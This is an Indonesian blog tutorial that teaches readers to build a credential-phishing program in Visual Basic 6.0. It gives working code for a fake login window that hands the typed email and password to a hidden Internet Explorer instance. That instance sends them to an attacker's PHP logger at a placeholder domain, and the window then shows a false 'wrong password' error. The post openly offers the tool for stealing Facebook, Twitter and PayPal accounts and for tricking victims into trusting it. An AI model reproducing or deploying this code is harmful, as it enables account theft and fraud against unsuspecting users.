Cara Membuat Aplikasi Phising Visual Basic 6.0 [Source]

Hallo

Welcome Di My Blogger

Pada kesempatan kali ini saya ingin membagikan tutorial cara membuat aplikasi phising di visual basic 6.0

 

Pertama tama siapkan bahan terlebih dahulu yaitu
-Komputer

-Visual Basic 6.0
-Hosting || Contohnya IDhostinger
-Siapin Kopi Kalau Kalian Haus

Baca Dulu Sebagai Contohnya

Baca:

ada sebuah program kita sebut saja followers twitter
program itu akan menyuruh anda untuk login ke facebook menggunakan program tersebut,apabila ingin membuat cheatnya bekerja.
user yang tertipu akan login lewat program tersebut
di dalam program tersebut terdapat 2 buah textbox dan 1 buah command button.

2 textbox itu adalah penampung Email & Password yang akan di kirim ke server kita dan command buttonnya di gunakan untuk meng eksekusi code,setelah code di eksekusi program akan memanggil sebuah file .php yang telah di buat sebelumnya di server kita
file php yang telah di panggil tersebut bertindak mencatat ip korban pengirim,mencacat tanggal pemanggilan file php,dan mencatat Email & Password korban yang telah di masukan di 2 buah textbox yang ada di program tersebut lalu menyimpannya dalam sebuah file text.

Ngerti kan gan dengan cara kerja program ini ?

kalau masih belum ngerti silahkan tanya tanya dengan komen dipostingan ini :D

Langsung aja ketutorialnya :)

Buka dulu hosting kalian lalu upload file dengan nama jct.php
lalu isikan dengan kode dibawah ini!

Code:

Klik Disini Untuk Melihat Code!

tambahan jangan lupa upload file txt kosong nama filenya adalah 404.txt

Sekarang kita buka Microsoft Visual Basic 6.0
Buatlah project baru lalu buatlah component dibawah ini
* Buat 1 Form dengan nama frmUtama
* buat 1 Module dengan nama modConnect

Lalu isi code dibawah ini dalam module dan berinama modConnect

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8

'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function

Jika sudah mari kita kembali ke form...
Buatlah 2 text , 1 command button , dan 1 label

Textbox pertama diberi nama = txtUname
Textbox kedua diberi nama = txtPass
Command buton = cmdLogin
Label = = lblInfo

Copykan kode dibawah ini kedalam form

Private Sub Form_Load()
'dilarang mengganti copyright dalam project ini
'hargai yang membuat tutorial+code
'copyright 2014 by JKT48 CYBER TEAM
'and coding by wiceng
'www.jkt48-cyber.org/forum
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "Keylogger JCT"
End If
End Sub

lalu masukan code ini kedalam cmdLogin

Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://www.domainkamu.com/jct.php?e=" & _
user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :p

Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If

Bila sudah selesai silahkan dirun/f5 project anda!
Kalau tidak ada error berarti anda telah berhasil :D
Kalau masih ada error silahkan tanya tanya dengan cara komen dipostingan ini :D

Untuk melihat hasil loggernya bisa dilihat dengan mengakses http://www.domainkamu.com/404.txt

program ini bisa agan pake untuk apa aja,untuk nyuri akun fb,twitter,paypal,dll
tergantung kreativitas agan aja dalam design programnya agar usernya tertarik & percaya kalau program ini aman :D


Download Project Yang Sudah Jadi!

Silahkan Dikembangkan Asal Tidak Mengganti Copyright Pembuatnya

Author: Akbar Wicaksono | Wiceng

Posted in: Visual Basic 6.0